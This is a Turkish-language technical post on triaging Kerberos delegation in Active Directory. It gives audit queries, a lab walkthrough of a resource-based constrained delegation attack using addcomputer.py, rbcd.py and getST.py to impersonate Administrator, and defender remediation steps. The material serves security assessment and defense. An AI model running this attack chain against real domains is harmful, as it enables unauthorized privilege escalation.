Series · 4 partsInternal Network TriagePart 3 · You are here
- 1Kerberoasting Triyajı: Çoğu Servis Bileti Zaman Kaybıdır
- 2SMB Signing Açık. Bu Grafikte Sadece Bir Kenarı Kapattı
- 3Kerberos Delegasyon Triyajı: Unconstrained, Constrained ve RBCDYou are here
- 4BloodHound Edge Analizi: Çizge Var, Peki Saldırı Yolu Kanıtı Nerede?
60 saniyede Kerberos delegasyonu
Her Kerberos delegasyon dersi aynı yerden başlar: Unconstrained delegation, bir servis biletinin içinde taşınan TGT diyagramı ve bunun ne kadar korkunç olduğuna dair bir uyarı. Evet, gerçekten korkunçtur. Ancak sahada karşılaşma ihtimalinizin en düşük olduğu delegasyon türü de tam olarak budur.
Konuların öğretilme sırası, gerçek dünyada onlarla karşılaşma sıranızın neredeyse tam tersidir.
Üç mekanizma, tek cümlelik özetler
Unconstrained (Kısıtlamasız). Hesap, kendisine kimlik doğrulaması yapan herhangi bir kullanıcının kimliğine bürünerek herhangi bir servise gidebilir. Kullanıcının TGT’si servis biletinin içinde teslim edilir. Bayrak userAccountControl içinde yaşar.
Constrained (Kısıtlı). Hesap kullanıcıların kimliğine bürünebilir ancak yalnızca msDS-AllowedToDelegateTo içindeki sabit bir SPN listesine gidebilir. Bunu kullanıcının hiç kimlik doğrulaması yapmasına gerek kalmadan yapıp yapamayacağı ikinci bir bayrağa (protocol transition) bağlıdır — ve bu bayrak listeden çok daha önemlidir.
Resource-based (RBCD - Kaynak tabanlı). İzin hedef üzerinde, msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğinde saklanır ve hedefe kimlerin kullanıcı adına gelebileceğini adlandırır. Kimin kime delege edebileceğine hedef karar verir, tersi değil.
Tüm hikayeyi değiştiren de tam olarak bu son tersine çevirmedir.
Yaygınlık sırası neden tepetaklaktır?
Unconstrained delegation bakımı yapılan bir Active Directory domain’inde nadirdir; çünkü son derece görünürdür. Tek bir bittir, on yıldır her sertleştirme kontrol listesinde yer alır, her denetim aracında kıpkırmızı yanar ve modern sistem kurulumlarında varsayılan olarak oluşturulmaz. Karşılaştığınızda da genellikle kimsenin dokunmaya cesaret edemediği çok eski bir sunucunun üzerindedir.
Constrained delegation daha yaygındır; çünkü insanlara yıllarca buna geçmeleri söylenmiştir. Ancak sıklıkla yanlış yorumlanır. SPN listesi sıkı bir güvenlik sınırı gibi görünür ama öyle değildir: Hedef SPN’in servis sınıfı (service class) kısmı Kerberos tarafından zorunlu kılınmaz. Dolayısıyla cifs/host için verilen bir delegasyon izni, genellikle aynı host üzerindeki diğer servisler için de kullanılabilir. Liste neler yapabileceğinizi değil, hangi makineye gidebileceğinizi sınırlar.
RBCD ise gerçek hayatta asıl bulduğunuz türdür ve bunun nedeni yapısal bir gerçektir. Bir yöneticinin gidip bilerek seçtiği bir ayar değildir. Bir bilgisayar nesnesine kimlerin yazabildiğinin doğrudan bir sonucudur. Bir bilgisayar nesnesi üzerinde GenericWrite, GenericAll, WriteProperty veya WriteDACL haklarına sahip herhangi bir kimlik, bu özniteliği kendisi doldurabilir. Aşırı yetkilendirilmiş her helpdesk grubu, yetki devredilmiş her OU, eski “workstation admins” iç içe grup üyelikleri gizli birer RBCD saldırı yoludur — ve bunların hiçbiri delegasyon bayrakları sorgusunda görünmez; çünkü ortada bulunacak bir bayrak yoktur.
Aynı mekanizma, bir nesne sınıfı yukarıda, sertifika şablonu yazma erişimini de bir yetki yükseltme yoluna dönüştürür — ESC4 vakası, aynı bulgunun PKI şapkası takmış halidir: Asıl zafiyet oluşturmanıza izin verilen ayar değil, iznin kendisidir.
Üçüncü türü aramak tamamen farklı bir soru sormaktır
İlk iki tür için dizine bir durumu sorarsınız. Üçüncüsü için izinleri sormak zorundasınız; bayrak kontrol listeleriyle çalışan herkesin bunu gözden kaçırmasının nedeni tam olarak budur.
# Unconstrained — userAccountControl içinde tek bir bit
Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
-Properties samAccountName, objectClass
# Constrained — ve asıl önemli olan protokol geçiş bayrağı
Get-ADObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' `
-Properties samAccountName, msDS-AllowedToDelegateTo, userAccountControl |
Select-Object samAccountName, msDS-AllowedToDelegateTo,
@{ n = 'ProtocolTransition'; e = { [bool]($_.userAccountControl -band 0x1000000) } }
# RBCD — halihazırda yapılandırılmış olanlar
Get-ADComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
-Properties msDS-AllowedToActOnBehalfOfOtherIdentitySon sorgu yalnızca zaten var olan delegasyonları bulur. Asıl önemli olan bunun tersidir: Hangi kimlikler bunu oluşturabilir? Bu, her bilgisayar nesnesi üzerindeki bir DACL sorusudur ve gerçek saldırı yollarının yaşadığı yer tam olarak burasıdır.
İki değer daha bir yolun yürünebilir olup olmadığını belirler ve her ikisi de tek bir sorgu uzaklıktadır:
# Sıradan bir kullanıcının domain'e katabileceği bilgisayar hesabı sayısı (varsayılan 10)
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties ms-DS-MachineAccountQuota
# Kimliğine kesinlikle bürünülemeyen hesaplar
Get-ADUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=1048576)'
Get-ADGroupMember 'Protected Users'Kotasının sıfır olması yolu tamamen kapatmaz. SPN’e sahip bir kimlik edinmenin kolay yolunu ortadan kaldırır; zaten kontrolünüz altında olan ve SPN taşıyan herhangi bir hesap aynı işi görecektir.
Laboratuvarda saldırı yolunu yürütmek
Başlangıç konumu: Bir iş istasyonu nesnesi üzerinde GenericWrite hakkına sahip düşük yetkili bir kullanıcı. Hiçbir yerde yapılandırılmış bir delegasyon yoktur. Bayrak tabanlı bir denetim bu host’u asla işaretlemez.
$ addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Lab-Passw0rd!' \
-dc-ip 10.0.0.10 lab.local/lowpriv:'...'
[*] Successfully added machine account ATTACK$
$ rbcd.py -delegate-from 'ATTACK$' -delegate-to 'WS01$' -action write \
-dc-ip 10.0.0.10 lab.local/lowpriv:'...'
[*] Delegation rights modified successfully!
[*] ATTACK$ can now impersonate users on WS01$ via S4U2Proxy
$ getST.py -spn 'cifs/ws01.lab.local' -impersonate Administrator \
-dc-ip 10.0.0.10 'lab.local/ATTACK$:Lab-Passw0rd!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Saving ticket in Administrator@[email protected]“Bir nesneyi düzenleyebilirim” noktasından “o makinede yerel yöneticiyim” noktasına üç komut. Delegasyon ikinci komuttan önce mevcut değildi; saldırgan tarafından oluşturuldu. Yapılandırılmış delegasyon aramanın bu riski tamamen ıskalamasının nedeni budur.
Kanıt matrisi (Evidence matrix)
| Sinyal | Neyi kanıtlar | Negatif kontrol | Savunucu doğrulaması |
|---|---|---|---|
WS01$ üzerinde efektif GenericWrite, WriteProperty veya WriteDACL | Kimlik RBCD durumunu oluşturabilir; bu kök neden bağlantısıdır | ACE veya devralma yolunu kaldırın ve aynı kimliğin artık nesneyi değiştiremediğini teyit edin | İç içe grup üyelikleri dahil bilgisayar ve üst OU üzerindeki efektif erişimi yeniden hesaplayın |
| Test uzmanı tarafından kontrol edilen SPN taşıyan bir kimlik | Saldırı yolu Kerberos’un delegasyon yapabileceği bir kimliğe sahiptir | Makine hesabı kotasını sıfırlayın ve önceden kontrol edilen bir SPN hesabı olmadan tekrarlayın | ms-DS-MachineAccountQuota değerini, bilgisayar oluşturma olaylarını ve mevcut servis hesaplarının sahipliğini inceleyin |
msDS-AllowedToActOnBehalfOfOtherIdentity boş durumdan kontrol edilen SID’ye dönüşür | Gizli yazma hakkı aktif bir RBCD’ye dönüştürülmüştür | Orijinal özniteliği geri yükleyin ve S4U isteğinin başarısız olduğunu doğrulayın | Directory Service Changes denetimini etkinleştirin ve özniteliğe yazma işlemlerinde alarm üretin |
| Korunmayan bir test kimliği için S4U servis bileti başarılı oluyor | Zincir hedefteki tanımlı servise kadar çalışmaktadır | Protected Users veya delege edilemez bir laboratuvar kimliğiyle tekrarlayın ve reddedilmesini bekleyin | Bilet olaylarını doğrulayın ve Tier 0 kimliklerinin hassas ve delege edilemez olarak işaretlendiğini teyit edin |
Sıkça karşılaştığım ortak örüntü
Bilgisayarlar üzerindeki yazma izni neredeyse hiçbir zaman kasıtlı olarak verilmez. Yan hasar (collateral) olarak gelir — birilerine makineleri domain’e katabilsin veya bir ajan yükleyebilsin diye bir OU üzerinde geniş haklar verilmiş bir grup ve proje bittikten sonra unutulan bu haklar. İzin, verilme gerekçesinden çok daha uzun yaşar ve görünürde hiçbir şey bozulmadığı için kimse dönüp kontrol etmez.
Bu nedenle bulgu nadiren “delegasyon yanlış yapılandırılmış” şeklindedir. Asıl bulgu şudur: “Bu grup bilgisayar nesnelerini yeniden yazabiliyor ve bunun dönüştüğü nihai etki tam olarak budur.” İlk şekilde yazıldığında tek bir öznitelik silinerek kapatılır. İkinci şekilde yazıldığında ise kökünden doğru bir şekilde kapatılır.
Savunuculara teslim edilmesi gerekenler
Üç somut şey, tam olarak bu sırayla:
Delegasyonu değil, DACL’ı verin. Bilgisayar nesneleri üzerinde yazma erişimi olan kimlikleri ve bunun geçerli olduğu OU’ları belirtin. Kök neden budur; delegasyon özniteliği yalnızca işin payload’udur.
Kotayı sıfırlayın. ms-DS-MachineAccountQuota değerinin varsayılan 10 olması, kimliği doğrulanmış herhangi bir kullanıcının bu saldırının ihtiyaç duyduğu bilgisayar hesabını üretmesine izin verir. Bunu 0 yapmak ve makine ekleme hakkını belirli bir gruba devretmek kolay yolu ortadan kaldırır ve operasyonel olarak hiçbir maliyet getirmez.
Asla kimliğine bürünülmemesi gereken hesapları koruyun. Protected Users üyeliği ve Tier 0 hesaplarda “hesap hassas ve delege edilemez” bayrağı. Bunlar DACL’ı düzeltmez ancak başarılı bir delegasyon saldırısının ulaşabileceği yeri sınırlandırır — ki bu kritiktir çünkü DACL temizliği zaman alan bir süreçtir.
Unconstrained bulgusu, eğer karşınıza çıkarsa, kendini zaten yazar. Bu bulgu ise ancak zafiyetin bir ayar değil, bir yetki olduğunu anlattığınızda karşılık bulur. Bu delegasyon zincirlerini, MachineAccountQuota durumlarını ve Protected Users sınırlarını etkileşimli olarak Active Directory Delegation Risk Resolver aracında modelleyebilirsiniz.
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.